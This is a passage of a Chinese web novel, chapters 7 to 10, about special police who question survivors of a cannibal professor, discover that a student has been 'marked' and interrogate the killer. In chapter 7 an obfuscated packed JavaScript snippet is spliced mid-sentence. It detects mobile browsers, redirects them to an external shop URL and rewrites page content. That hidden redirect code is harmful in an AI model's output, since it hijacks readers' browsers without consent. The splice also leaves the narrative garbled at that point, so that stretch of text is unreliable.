和小个子警察穿着一致,左胸膛前佩戴熠熠生辉的国花徽章,是金属镌刻的一朵紫露草。他迎面走来,一套漆黑笔挺的警服衬得身姿英飒,衬衣规规矩矩扣到最高,打着领带,遮住锁骨,只露出一截修长的脖颈,绿得发冷的眼眸辨不出任何情绪。 和那夜见到的略带野性的皮夹克形象完全不一样。 但真的是他。 7. 标记 “是邓烟雨和庆威凤吧,”熊小滚亮证,“我是公安机关GS特发科指挥官,我姓熊,今天来是想和你们了解一下暴食案的细节,两位都方便吧?” 她俩纷纷啄头:“方便的。” 熊小滚随便拖了把椅子坐下,护士见没有其他多余的空椅子,正要去外面再搬一把,另一位警官抬手示意不必。 “你不坐?我问题有点多的,”熊小滚轻声说着,扭头将录口供的册子递给身后那人,那人给了个眼神,熊小滚理解了,“行,那你站着醒醒神。” 让两个小姑娘再去详细回忆遇害时的经过,确实有点不仁道,而且苏赞为人师表的演技很好,在学生心目中的地位绝非高那么一星半点,也不知道她们此刻对这个无力回天的真相埋的是何心思,熊小滚能做的就是把语气放缓和:“此案的凶手苏赞,是在你们大学任职的教授,你们平时和他接触多吗?” 庆威凤歪歪头说:“接触其实不算多吧,也不是天天上他的课,平时遇到了会插科打诨聊个几句而已。” “他在校为人如何?” “讲课挺风趣的,大家都爱听他的课,人也很温柔爱笑,从不发脾气,基本上和学生都能打成一片,对吧?”邓烟雨点点头,补充:“他还会和我们分享有关美食家的各种信息。”庆威凤说:“对对,还提醒我们美食家会戴隐形眼镜改变虹膜颜色,人还怪好嘞。” 人还怪好?这家伙不提名个影帝真说不过去了。 熊小滚切实感受到身后的低气压了,清嗓说:“九号那天,你们也上了他的课?” “上了,但严格来说,他是代人授课,”邓烟雨解释道,“原本上那节课的老教授身体不好,苏赞老师帮忙代课了。” 邓烟雨快说完时,余光一偏,和拿笔站一旁记录的公冶渡莲视线相汇,她发现他在看自己。 “当天苏赞有什么异常举动吗?随便什么都可以。” “没有呀,像往常一样上课,就是……”庆威凤犹豫地抿了抿唇,“后来下课我和老师单独待了会儿,老师邀请我晚上参加一场学术活动。” “学术活动?具体什么内容?” “我没顾着问,听他介绍大概类似专题讲座吧,他没告诉我地址,说到时候直接带我过去。” “他单独邀请了你?” “唔……嗯,”庆威凤如实相告,“我当时一个人,朋友有约先走了,我看到老师主动打了招呼,老师才约了我……” 熊小滚明白了地点头,往椅背缓缓一靠,身后传来按笔的喀嚓声。 “作案地点在上弦街,那里是一片老居民区,外面只有商场。一般讲座都开在图书馆或者酒店报告厅,你跟他去那里,没有产生怀疑吗?” “其实我知道讲座或许是假的,”庆威凤纤软的手攥住被子,“老师只单独邀请我一个人,我以为……他是想……带我去他家。” 邓烟雨看向庆威凤,一阵揪心。 苏赞仗着自己那张得天独厚的脸,让众多学生对他蒙上一层滤镜,私下滥交年轻女性,引诱她们落单,借此作奸犯科,想必不是一次两次了。 暴食案的受害者全是在偏僻的陋巷、城中村某个角落、蝇虫缭绕的垃圾堆里被发现,她们死得支离破碎,以一摊剩肉烂泥的形态暴露在警方眼底,无声无息散发出令人作呕的臭味,她们的惨叫、呼救、冰冷的泪,都在那一夜滑进了湿热的肠子,她们留给世人的是一张又一张马赛克,一段又一段蓝底通报,在动动手指就打出的网络热评下活该被杀,死不改悔,千奇百怪的嘴巴啃噬着她们纯洁无辜的一生,而她们无处伸冤。 她们曾经也如花朵明媚地开着,也如骄阳灿烂地笑着。 最后她们死了,脱胎换骨地死去。 庆威凤各方面优异出众,于是顺理成章被苏赞盯上,邓烟雨那天的确不在狩猎范围内,她只是碰巧遇着,非常倒霉罢了。 “对不起。” 病房里安静得出奇,庆威凤没来由地、怔怔地吐出这三个字,熊小滚诧异地抬起头,忙说:“这不是你的错,你不需要道歉。” “你答应什么,接受什么,都不能成为他对你实施犯罪的理由,”公冶平静地望着她,说,“女性遇害的原因不在女性,不要自责,你没有任何错。” 面对两名警官的安慰,庆威凤心间温暖不已,眼里热热的快要冒泪花。熊小滚又照例询问了邓烟雨当天案发的情况。 “好的,我要问的就这些,感谢你们的配合。” 听着本子合上的一声,邓烟雨绷紧的小身板终于获得略微的放松。 不知是不是错觉,也可能是自己太敏感了。 从一开始,那名站着的警察就好像…… 好像…… 一直在盯着自己。 邓烟雨脸颊有些烫,她鼓足勇气,疑惑地扬眸,瞧了一眼公冶,熊小滚注意到了,笑着说:“还记得他?” “啊,是的。” “介绍一下,这是GS特发科的特发警员,代号影青,也是那晚救下你们的同志,我听靳南说你们想当面和他道谢,所以把他带来了。” “警官先生,我可以和你握手吗?”庆威凤不知何时跳下床,抱着一只玻璃瓶走过去,“谢谢您救了我们,非常感谢!” 公冶看着她伸出手,迟疑了一下,握上去:“没关系,应该的。” “还有这是我送给您的小礼物,花了一上午叠的,烟雨也有。” 见庆威凤差不多快把玻璃瓶塞公冶怀里了,邓烟雨拿上自己的那瓶,递给熊小滚,有些拘谨地说:“锦旗来不及买了,这是我们一起叠的千纸鹤,想送给你们表示感谢,希望二位能收下。” 她们用的是带碎闪的彩纸,五光十色的千纸鹤簇拥在玻璃瓶明亮的圆肚里。 GS隶属公安机关,公美亦是公职人员,不可随便收受案件当事人的财务及私人物品,一旦瓜葛着利益输送,情节会十分严重。但千纸鹤嘛,贵在情意,和贿啊赂的搭不上关系,做不出大文章,指挥官睁只眼闭只眼就够了。 “折的真好看啊,谢谢。”无视规则把俩眼睛都闭上的熊指挥官欣然接过邓烟雨的千纸鹤,回头瞅见公冶僵在那里。 这孩子果然不擅长与女生打交道。 熊小滚幸灾乐祸地握拳抵唇,不让自己笑得太放肆:“拿着吧,两小姑娘用心折的,到时候记得摆桌上。” 得到上司金口允准,公冶这才接过庆威凤手中的玻璃瓶,并且道了谢。邓烟雨心想应该是最后一次和他见面了,希望将这个人好好记在心里,仔细凝视他一会儿,说:“真的非常感谢您,公冶警官。” “什么?”熊小滚才站起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579260|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听邓烟雨谢完,脸色剧变,“你刚叫他什么?” “公、公冶警官……”邓烟雨茫然眨眼,“我叫错了吗?” “不,没叫错,只是,”熊小滚说,“你怎么知道他名字?我前面只和你们提了他的代号。” 邓烟雨机械地回忆着:“是那晚,他的证件掉在地上,我正好看到……”她说不下去了,她感觉空气都凝滞了。 九号夜里,公冶把她们送上救护车后,在举目无亲的陌生辖区上满地找他的证,赶巧现场有个侦查员眼尖,捡到他的警察证,及时归还。 这种纯粹添堵的事,他恨不得藏着掖着带进土里,哪敢和熊小滚一一汇报。 “我……也没弄丢。” 公冶苍白无力地狡辩着,脸上净是“这还没回家呢,在外人跟前不要发脾气啦,头儿”的暗示。 熊小滚直接屏蔽了他的暗示,黑沉沉的双目电闪雷鸣,公冶被他盯得额角挂下一滴汗,还不忘对慌张无措的邓烟雨宽慰道:“没关系,你不要在意,直接叫我名字也没事的。” “是这样,公安美食家的工作性质具有较大危险性,公安为保护他们不被有心人调查,所以给每位公美都取了代号,尽量不透露他们的真实姓名。” 这是一节原因,另外就是代号方便区分公美和人民警察。 “当然,怎么称呼是你们的自由,本人也说了不要紧,所以不必在意,没有大影响的。”熊小滚殷切地告知完,面向公冶,当即拉了个驴脸。 他可不想让还在养伤期间的邓烟雨留下什么心理阴影,也懒得再去骂粗心大意的部下,他甩脸子是在气公冶丢证故意隐瞒不报。 “那么两位好好休息,我们先告辞了。” 他们走出病房,经过导诊台,护士长给他们拿来一个纸袋子,正好装两只玻璃瓶。 “丫头们一大早就爬起来叠了,礼轻情意重,你们得供好了。” “得嘞,回头就让小冶买个香案。小冶,听到了吗——” 被叫做“小冶”的公冶渡莲面无表情“喔”了一声,拎着袋子管自己先开溜了,熊小滚和护士长有说有笑寒暄几句,结束后很快追上来。 走廊没什么人,阳光清爽地洒满一角,消毒水味偏淡。 熊小滚顾自沉思着,慢慢越到了公冶前头,突然抬起手要嘱咐什么,公冶不等他发话就说:“林硕文交给你,那王八蛋我来审。” “行啊你,属蛔虫的,这都被你看出来了,”来到楼梯口,熊小滚往另一头的病房走去,公冶奇怪地看他,他说,“不下楼,陪我去瞧瞧阿沈。” “好。” 静默须臾,熊小滚仰起头,打量公冶:“你有什么话要对我说吗?心思全挂在脸上。” “是有,”公冶放慢脚步,声量也压低了,“那个叫邓烟雨的女孩。” “噢,咋啦,你看上人家啦?” 公冶忍住翻白眼的冲动,以正常口吻说:“她好像被标记了。” 这话一出,两人不谋而合,一道站定在清冷的长廊上。这是熊小滚今天第二次脸色剧变,比第一次更为严重,迫近青白。 半晌,他极不自然地张口:“你说她被标记了?谁标的?” “还能有谁,”公冶侧过身来,把笔记本夹臂弯里,手插裤兜,冷冷一扯嘴角,“苏教授呗。” 8. 邪念 被美食家“标记”是件相当难办的事,这是建立在违法食人的基础上又一恶劣的不法侵害行为。 古洛严禁美食家私下交易买卖“食用人口”,该条例跟着2081年正式接纳绿眼人种的条例同年出台,彼时美食家也承诺会与人类和平共处,为国家发展提供一切帮助。 作为国家一份子,食客们已做出最大的示好,政府也明白他们的意思,很快制定对策,提供了一个不涉嫌犯罪的肉源——尸体。 某些经济拮据的家庭在其直系亲属去世后,如有申请补助的需求,并得到去世亲属身前允许,可以签下捐体协议书,将躯体提供给美食家,从而获得政府补助。拿到手必是一笔丰厚的金额,以致于让个别家庭面临意见冲突、财产纠纷等问题,不过至少解决了美食家私猎滥食的现象。 当然尸肉总是供不应求,往往等块肉比等口墓地躺还难,因此许多美食家便摸索出“吃零食”的小窍门,其中就有个打着“扶贫饿美”旗号的暗网,里面公开了大量献血者,美食家可以通过该渠道和他们秘密联络,支付等价的报酬换几管新鲜的血,两全其美。这算打法律擦边球了,但这么多年下来,该网站始终未被捣毁。 至于公美怎么喝血吃肉,上面自有安排,至少比外头来得正规干净,如此厚爱的情况下还去不明不白的网站上搞小动作,那就太令人寒心了。 这事有过前车之鉴,主要操手人员被剥夺了国籍,以身作则的血泪教训也警示了某些不安分的公美,连带着群众美食家也不敢太嚣张。 实际上,这些年发生违法食人的频率是往下走的,今年不知中了什么邪,从国厦到暴食,全是美食家干下的好事。吃一个就足够累惨了公安那帮人,苏赞吃了九个,累惨他们九倍,眼下又搞出彗星撞地球概率的标记事件。 这下可好了。 还过什么日子,毁灭吧世界。 “标记”是美食家开发出来玩弄食物的猫捉老鼠小游戏。他们在捕食过程中有时会以“吃撑了”、“留一半当夜宵”、“美味的要攒到最后一口吃”等等五花八门的借口选择先放生食物,至于如何完成放生——即用獠牙在食物体表浅浅刺一口,感染其血液,然后任由他们跑远远的,等哪天心血来潮嘴馋了,再慢条斯理嗅着那个味儿,去吃掉。 被标记的人,血液将会出现问题,会通过汗腺释放一股对美食家而言,特别特别甜美的气息。那些自以为逃过一劫的衰仔,有的都不是被正主吃掉,因为这股香味对任何美食家都具备蛊惑的效果。 最近一次记录在案的标记事件发生在五年前,受害者侥幸逃脱后马上报警求助,最终保住一命。只是在被标记的日子里,他长期处于煎熬状态,塑料袋的摩擦声都能令他心惊胆战,一夜不得安眠。 生不如死也不过如此。 标记事件让受害者承受巨大的心理压力,让公安消耗巨大的人力和精力,公冶渡莲也是考虑良久,才选择对外告知。 说白了,这种咬人的小把戏,正因为相对容易成功,所以社会各个角落都在发生离奇的失踪,一旦拿到明面上来处理,又是另一回事了。公冶渡莲甚至可以选择闭口不言,不让熊小滚知道,毕竟他也不能一口笃定那就是“标记”,一切都看他愿不愿意说,愿不愿意选择麻烦自己人来救那小姑娘的小命。 听起来残忍,可这就是现实,他即便不说,也没有错。 “草!” 一个坐轮椅的病人被那声平地炸起的“草”吓得一轮子滑出。一向讲文明懂礼貌的熊熊队长当着下属的面不慎失言,精疲力尽往墙上一瘫。 他搓头发:“难怪啊,我说你前面怎么巴巴盯着那小姑娘看。” “我盯的很明显?” “废话,你就差眼珠子掉人家身上了。” 公冶:“……” “你确定?” “基本确定。” “怎么会呢……靳南不会检查不出来,”熊小滚大脑飞速运转,妄图争取一线“是影青看岔劈了”的希望,“如果邓烟雨被标记,血常规必有大问题,靳南肯定第一时间给我打电话,但他没有。” “熊队,有些美食家的标记会有潜伏期,”看着老大狼狈哀戚的样子,公冶于心不忍道出残酷的事实,“这种情况因人而异,本人都掌控不了,但标记的潜伏期太深,仪器没法测出来,除非你隔一阵就给她做一套全面筛查,也许一个小时前查出来没问题,过一个小时指标就全变了。” 熊小滚:“……” “我刚才虽然观察她很久,但其实……是嗅出了一丝不对劲。” 味道都出来了!熊小滚肩膀微微一颤,眼里的光在碎裂崩塌。他与公冶久久对视,最终大叹一声,说:“你去找靳南,让他再给邓烟雨做一次血常规……妈的,火死了,老子回去就揍爆苏赞那鳖孙养的头!” “要是做出来,真的有不该有的箭头……” “那我们就玩完了!”熊小滚破掉似的猛拍大腿,“整个特发科都别想放一天假了,都起来修仙吧!我回去就宰了苏赞!” 公冶把本子丢回纸袋里,交给熊队:“就等您这句话呢。” “今天你要是没来,她……”熊小滚话留三分,换了个说法,“为什么决定说出来?” “我不说,她就危险了。” “明知会惹来麻烦?” “那又能怎么办,我们就是解决麻烦的。” 熊小滚端量他一阵,真诚发问:“真没看上人家啊?” “我女神户原恋。” “得了吧你,”熊小滚抓过袋子,双眼充血,仿佛熬了三个通宵,“你最好祈祷她平安无事,支队目前自顾不暇,这节骨眼再出个标记的事,请问谁来负责保护烟雨小朋友的安全?” 公冶的大脑宕机了,半天憋出一句:“……不会是我们吧?” 熊小滚瞅着他的天真样,笑比哭还难看:“哈哈。” “你笑什么,这事不应该归市局管么?” “哇,你还想着他们会帮?你把这事和他们说去,你猜他们听了会怎么着?” “怎么着?” “他们会把自己炸了,连夜运个东风导弹过来把整层楼夷为平地,也不想摊上咱们这档子破事。” 公冶:“…………” “做好最坏的打算吧,”熊小滚摇了摇头,拖着无比沉重的心情打开沈鸣病房的门,“都快年底了,还是没躲过,真要疯了……对了,问候一下你搭档,还活着就让她赶紧返岗,发烧发半个月也是够厉害。” 吃瓜吃到自己头上——说的就是他吧。 公冶站在原地懵懵懂懂好一阵,总算返还了一点力气,迈开僵硬的双腿,朝靳南办公室走去。 “我前面就听你在走廊喊什么呢。” 病房内光线充足,沾水的鲜花盛放在金色暖阳里,沈鸣背靠软枕,手边合着一本《资治通鉴》。 熊小滚拉了个凳子:“你还看这书?” “算是警醒我自己吧,”沈鸣抱以轻松的微笑,“影青陪你来的?” 熊小滚笑:“不带他带谁,”顺手翻出水果篮里的苹果,拿刀削起来,“让他跑一趟靳南那边,等会再过来。” “说起来,影青二十五岁了吧,”沈鸣看他削,“谈了没?” “没呢,他这方面提不起兴致,你能不能催一下?” “我队里那几个都管不过……”话到一半,他没再继续念叨下去,“以前是我当保姆,现在要麻烦蒋支队了。” “你好好养着,啥都别客气,队里的事再说,”熊小滚刀功不错,剔下的苹果皮始终没断,“你带出个好徒弟,可有干劲了,眼睛没瞎,贴着个纱布就回一线了,蒋淮怕他再累出啥病,只让他在内勤风风火火地忙活。” “那孩子真闲不下来,昨天还来我这碎嘴。” “什么碎嘴,那是孝 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自动贩卖机那围着三个小孩,条纹病号服像三只大麻袋,套在他们细得没肉的小身板上,除此之外还有一道熟悉的身影。 “烟雨姐姐,我要喝这个!” “我要可乐!” “好,等等啊,”邓烟雨用手机扫码,蹲下来给他们看商品详情,“你要哪个?这个吗?啊你也要这个?那我买三罐吧。” 小孩们拿到果汁,开心得蹦蹦跳跳,有个小孩一腿石膏拄着拐杖,还灵活得像只野猴子,可把邓烟雨吓着了。见姐姐害怕,那断腿男孩变本加厉,挥舞拐杖往前冲,差点在走廊上来了一个滑跪。 “姐姐,他这样要被护士姐姐凶的。”女孩子比较乖,拉拉邓烟雨衣角,忧心忡忡地瘪嘴。 “不要在走廊上跑——” “就跑就跑!略略略你来追我呀!” 他们该是在病床上闷坏了,遇到清空的走廊就像破栏的马冲上赛场,几个小男孩来来回回风驰电掣,比赛谁快。邓烟雨被其中一个大叫飞过来的孩子拽住衣摆,惯性往后一拉,她重心不稳,连连退了几步,栽进一个怀抱。 “对不起……”撞人家身上了。邓烟雨连忙道歉,不好意思地转过去,极淡的衣物香气掠过,一条黑领带映入眼帘,紫露草警徽碎闪在右侧。 她目光一寸寸往上抬,对方俊美的面孔带着冷意出现在视野里,凛厉的绿眸无波无澜,邓烟雨小心地咽了一声:“……公冶警官。” “你伤还没好,怎么跑楼下来了?” 公冶冷冰冰地问着。他根本不知道自己这张脸显得有多么不近人情,也不知道自己的态度有多么冷淡疏离。 他最近太累了,都不想笑,平时也是个讲话没情绪的人,一累就更摆烂,对他来说是一句正常的问候,但在别人看来,他就是在生气。 “五楼贩卖机坏了,只能下来买。”邓烟雨摇摇手里的热奶茶,露出被抓包后难为情的笑容。 她没有在害怕,并且大胆猜测公冶不是生气,只不过干警察的就会顶着这样一张铁面无私脸。 非常幸运,她猜对了。 他们贴太近,邓烟雨满身诱人的香味在幽幽飘出来,挺淡的,但散不去,温情脉脉地刺激着公冶的大脑皮层,麻痹他的神经。 有些奇怪。 这股香味开始凶起来,起初像潺潺溪水淌过,转而如海啸汹汹包围上来,美食家欲望狩猎的本能被引蛇出洞。 公冶难以置信睁大眼。 他起反应了。 不是那种单纯的生理反应。 而是躲起来的獠牙在难耐发痒,手指控制不住地去碰去收紧,看见她,就渴望把她占为己有细细品尝的——更加邪恶的反应。 9. 香钩 明明打过镇血剂,怎么还能…… “标记”的香气犹如蜜渍的钩子,将沉睡在身体各处的性,一口一口勾出来。 公冶喉咙干涩,不舒服地咬牙。 没想到会被这点香气激出本性,他对自己放心过头了。 并不是掉以轻心,能维持常态忍住,已证明他意志力非常强大。 美食家的可怖在于,即便是群众美食家,他们一样感官绝佳,四肢矫健,反应迅猛,爆发力和弹跳力远远超越常人,更别提公安妖魔化训练出来的加强版。一些基础的搏击越障,吹口灰便过了,剩下针对他们的肉诱、血诱等训练才是关键,这些项目有一项打“合格”都属于特训失败。 公安希望精益求精,美食家希望活得更像常人,双方各取所需,谁都没有损失。可以说,公美的体能素质、忍耐力、变异后的精神控制程度,比普通美食家高出一座珠峰的距离,他们不需要仰赖吃零食或暴饮暴食的方式汲取能量,每个月食用“点心”与镇血剂足矣。 他们站在那就是一线精英的代表,警界公认的最强,实战圈的顶流。 只可惜,再强的公安美食家,也逃不过“标记香”这一劫。 迄今为止,标记事件的留存记录少得可怜,浩瀚的档案室里真就挖不出一卷可供参考。案例少,对这块的气味模拟训练也就少,大家都生疏,都缺乏经验。 这是硬伤。 大脑喝醉了般神魂颠倒,公冶压紧眉头,尽量调整变重的呼吸,邓烟雨见他迟迟不动,试探性地叫了一声,他才勉强回神,发现自己不知不觉有点搂着她的趋势,急忙放开:“可以让护士帮你买的。” “哦,我自己想走走。” 脉搏上迂回着一只狂躁的野兽,怦怦,怦怦,怦怦。太难受了,他脸色比吃了芥末还难看,脑子里一遍遍命令自己别去闻她身上泛滥成灾的香味,为防止自己再出手,把两手插进了裤兜。 他轻微点头,见那帮野孩子还在激情四射,冷酷地放狠话:“别跑了,靳医生就在隔壁,不怕他听到吗?” “靳医生”的威力堪比妈妈抄起鸡毛掸子指着对你说“我数到三”,野孩子们霎时拔了气门芯,乖觉地来到公冶的眼皮底下齐齐罚站。那个胆小的女孩子泪眼汪汪说:“一七哥哥,你不要告诉靳医生呀……” 她在吃邓烟雨给的水果糖,发音软软糯糯,裹着点口齿不清的可爱,生生把“影青”说成了“一七”。 “喝完果汁回病房,这个天气出来不加衣服,你们还想出院吗?” “好啦好啦,一七哥哥要生气啦,赶紧回病房吧……”邓烟雨学着女孩好玩的语调,撵着一只只小鸡崽往回走,一七哥哥无言以对地看着她。 “报告公冶警官,娃娃们顺利送回大本营,那我也回病房啦。” 邓烟雨今天喝到爱喝的甜饮,心情格外好,哼着歌往楼上走,公冶仍在悬心标记的事,低头思索一阵,决定送她回楼上。 “等会靳医生要给你再做一次检查,”公冶说,“后续有其他问题,熊警官会和你还有你父母联系。你父母还没回去吧?” “没有,他们要等我出院再走。” “好的,”来到五楼,公冶不准备送她回病房了,站着说,“那你自己保重身体,我先走了。” “嗯,”邓烟雨不明白他为何非要陪自己走这一段,更不理解为何后续警方还要联系自己,但还是道,“谢谢你。” “不客气。” 走廊尽头阳光盛大,邓烟雨往那走,阳光就恰如其分笼住了她。她穿着尺码加大的淡紫毛衣,应该是她妈妈的,卷翘的乌发洋洋如瀑,在娇小的背后蓬松泻下,又迎着光芒浮起许多茸毛,她去拉病房门,侧过身时,掖着头发的耳廓被微燎得半透。 公冶眼睑微不可察地一覆,收回目光,转身迈下台阶,驻足在楼梯转角处的平台,轻轻仰起头,将锁住的气畅快地送出来。 大量新鲜空气灌入肺里,他活过来了。 然后他再噔噔噔返回五楼,往另一个方向——沈鸣的病房去。 “阿滚去找靳南了,你上来没遇着吗?” 沈鸣在读《资治通鉴》,公冶瞅着,说:“您还看这书?” “都说一样的话,”沈鸣笑得无奈,“我真不知该怎么回答你们了。” “副队要吃苹果吗?我削一个。” “刚吃过,你猜谁削的。” “好吧,”公冶抓抓头发,“那我去找他了。” 沈鸣右手一挥:“快去,再不去你熊爹要喊广播找你了。” 熊小滚还在忙,他昨儿发话了,让靳南今天洗干净脖子等着,原以为会上演一出什么年度情感伦理大戏,然而靳南没空,他要去给邓烟雨做检查。 “我带影青先撤了,”熊小滚叮嘱报告结果出来拍一张截图发他,工作上的事交代完,他心绪混乱地呼了口气,走到门口,背对着靳南,说,“你要真的想离婚就尽快吧,我妹妹同意了。” 靳南手一顿,没有应答。 熊小滚跨步离开。 回去还一堆破事,小熊滚等公冶甩上车门,轰轰踩油门拽车上大道,蹭着闪跳的绿灯一路刹车失灵般往前闯,见缝插针超过挤爆的车流以最快速度钻入单位地库,呲的一声斜进车位拉起手刹,下车坐电梯上至四楼,滴了卡进内部通道,上方响起冷静温柔的系统女音:“欢迎您,熊小滚指挥官。” 他臭着脸。 他不想被欢迎,他想放假。 特发科忙成一锅粥,有一批出警了,工位乱七八糟地空着,也不知重不重要的资料像被蹂躏过横躺一地,香芋片、粗粮饼干、坚果凤爪解嘴馋的低糖零食塞得到处都是,一支尚未使用封着针帽的银质针管掉在转椅轮子边,流动着干净的光,熊小滚脸色登时 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埋在资料大山后面的同事扯着嗓门说:“真有啊——上回咱不帮了一个老奶奶救她树上的孙子吗,笑死,哎你们说狗咋能爬树上哈哈哈,然后那老奶奶忒客气了非要送我们一条香案,上面还搁着一大袋梨,哇塞那个梨,好甜啊,她是不知道我们美食家不能吃太甜的东西吗?不过人家好心所以我收下了,她还一直跟在我后头嘟嘟囔囔,老人家说话就是不灵清啊。” 公冶:“……” 金刀啧啧摇头:“人家不去隔壁报警抓我们当真是好心了。” “要供吗?要供我洗洗挪出来,放哪啊,咱办公室邪得哪个方位都没风水,要不砸GS大门口镇着?每天早上打卡前先去拜一拜,话说你要供啥啊?” 公冶早走了,金刀默默地从袋子里取出一瓶千纸鹤,那个同事闭嘴了。 “你身份是人类?” “真行,伪造居民身份证都能干出来,你还有什么不敢的?” “到这个份上还不肯说句话么。” “需要我再细数你吃的那九个女孩吗,她们的名字你不会不记得吧,或者让她们的父母来见见你?放心,GS有这个权利。” 监听室进来一个人。 “他嘴是捐了吗?”公冶解开警服整齐的扣子,扯掉领带,黑发微落,瞬间放出股凌厉的气势。 “快磨不下去了,零口供结吧。”同事累得脸颊凹陷,黑眼圈熏在那,周围泛乌青,公冶见状说:“你去打一针休息,我来。” 审讯椅上,苏赞下半张脸罩着一副止咬器,手脚铐镣俱全,并且十根手指还戴着防撕抓的锰钢制指铐,一根电击项圈紧紧栓在他负伤的脖颈上,底部有一格绿光静谧发亮。 他像是在享受一场冗长的音乐会,略微摇晃脑袋,阖眼专心聆听,终于听到那头泄出一声恨之入骨的叹息,他的手动了动,死寂窒闷的小房间发出链条轻移声。 苏赞睁开眼,恶鬼无赖般坏笑着问:“警察同志,你饿吗?” 10. 降级 坐在对面的女警容颜憔悴,长时间睡眠不足导致眼皮浮肿,以前规律打镇血剂的习惯也拜连续一周的审讯攻坚所赐,和她的生理期一起糟心地紊乱了。 没一件好事。 你饿么?这三个字如同点燃的魔咒,轰地炸开了她。 “苏赞!!” 她猛拍桌案站起,乌绿的眼睛爆亮,里头注满杀意,尖利的獠牙在抖动的薄唇下若隐若现。 “你是真不信我会——” 门被打开,公冶走进来,摁住她肩膀。 “冷静点。” 情绪险些失衡之际,她看向公冶,眼睛里的火渐渐熄灭了。她埋下头深重喘息片刻,扬手表示已经没事,和公冶交换了位置。 咵啦,手铐弄出一串激动的响声,苏赞见是他,肌肉又开始隐隐作痛,笑意也愈发邪恶:“哟,老熟人了啊。” 那晚,他被公冶揍得亲妈都快不认识,浑身多处粉碎性骨折,脸歪了,肿成个青紫的猪头,差点没给毁容,把闻讯赶来的月河分局一众民警吓得凉气都吸不上来,提人上车时真就不敢多瞟一眼。 苏赞恨死了。 尽管凭借美食家天生的快速自愈能力一夜时间便恢复了,但这份痛是种在千百根神经上的,是至死也烂在骨子里的污点。 “苏赞,2110年瑶光省高考状元,毕业于歌大中文系,28岁进财经政法大学任教,次年破格聘为我国最年轻的正教授,名声大噪。” 公冶念出他生平功名,俯视他。 “你在教授学生知识的时候,有没有教给自己做人的道理?” 苏赞一动不动,像块石头,毫无反馈。 “那我换个方式问,你是从何时起决心扮演人类生活下去,你积累的一墙荣誉难道还不够帮你融入人类社会吗,是美食家的身份……让你感到自卑了?” 苏赞几乎是把眼神拧了起来,直勾勾瞪住公冶。他那双暗绿偏黑的眼睛俨如河中飘浮的水草,在涟漪皱开时冒出一星冷光。 “又或者,你是喜欢人类这个身份,羡慕他们活得公开光明,还是——”公冶恍然一笑,“你在想方设法忘却,忘却自己曾经也是珍贵美食家的事实?” 苏赞先是愣了一下,紧接着通身发抖,镣铐咔擦咔擦响,他气得从喉咙里挤出咝咝声,戴紧指铐的手想去扯掉脸部的止咬器:“住口,”他满脖的青筋暴裂鼓凸,狂躁症发病似的怒吼,“住口!住口!!住口!!!” “被降级的滋味不好受吧?我看你正常状态下,眼珠挺黑的,应该很早就被降级了。”公冶观察着这个降级美食家被轻易戳穿软肋,被扒出至今皮开肉绽在滴血的伤处,神经病一样狂砸抽疯的模样,眼底竟掠过一丝稍纵即逝的痛色。 他默然坐下,把解掉的领带随意一卷,放桌上:“当然,我也没兴趣了解你是出于什么原因被降级了,看你的反应,似乎也不大愿意回想,那就谈谈你现在的身份吧,你是受过完好教育的高知,应该清楚顶风作案被抓的后果,公安的忍耐是有极限的,而我们从来不忍耐。教授,负隅顽抗没有好下场。” 苏赞砸不动了,颓唐地喘着浑浊的粗气,像匹任人宰割的畜兽垂落头颅。 “我不管你的童年生活有多阴暗,这都不能作为你对人类怀恨在心,恶意残杀的借口,你可以拼死抵赖,我只告诉你,无论你是否配合,今后你都要去牢里或者天上为你口中的那些生命忏悔,这是不争的事实。” “唔……呵呵,”苏赞沙哑哂笑两声,眼角抽搐,“那真是谢谢你了啊,我这种垃圾还配去天上……” “不客气,但我今天要问你的是另一件事,”公冶瞥了眼旁边记录的同事,继续说,“你对邓烟雨做了什么?” “什么?”苏赞摸不着头脑,不愉快地扭动一下脖子,传来嘎啦声,“你在说哪门子事,我听不懂。” “我问你,九号那晚,你对邓烟雨,做了什么。”公冶渡莲不再掩饰自己的狠意,绿眸压出凛凛寒光,气息蓦地一沉,战栗着房间里的每个人。 “交代。” “……交、交代?”苏赞像定住了,重复他的话,死死瞪着他,好久才甚觉可笑地嗤了一声,“哈,要我交代什么?拜托——我又没吃她!她不是被你英勇地救下了吗?你问我做了什么?我能做什么,我都日你妈的来不及做!你把话挑明啊,就看不惯你们臭条子说话拐弯抹角恶心死人!你要套我什么?啊?我告诉你我一个字都——” “……” “怎么不骂了,”公冶脸色未改,“是不是记起什么来了。” 苏赞缠满戒具的手扒住头,焦躁地抓了抓,嘴套内起皮的唇张开合拢,舌头舔了舔已经十分饥渴干涸,萎缩回去的獠牙。 随后,他再次抬起头,仿佛被兜头凉水浇醒,居然用一种分外震惊的眼神望向公冶,书记员和女同事皆面露不解。 仿佛一个世纪那么漫长。 苏赞瞠圆了眼睛,重重发出猛烈的大笑,链条在他笑到乱颤的身体下哐啷哐啷晃响,脖颈上的电击项圈感觉随时会掼出亿万伏特。 “啊,啊——!对啊!”苏赞笑出了泪,狠狠捶击面前的小桌板,“我把她标记了!” “我把她标记了!” “哈!哈哈哈哈——!” “我怎么把这事给忘记了。” “公冶渡莲,你还是晚了一步,你那一脚要是早一秒踢,老子还真来不及标她,但是太迟了!你输了!我告诉你,邓烟雨死定了!你救不了她!” “你救不了她!!” 公冶一字不发看着他。身旁站着的女同事见苏赞兴奋得几欲变形,低声说了句“有病”,朝公冶问道:“真的么,你去医院发现的?” “嗯,还在接受检查,今天就能拿到结果,”公冶质问苏赞,“你是第一次做标记?” “对,第一次,”苏赞真的觉得自己赢了,痛快淋漓地把肚子里的勾当全吐了出来,“那娃儿刚洗完澡,香得要命,我本来想吃掉算了,但是凑近闻发现她味道是真不错,不当夜宵太浪费了。” 书记员后槽牙咬紧了,公冶声色平静:“然后呢。” 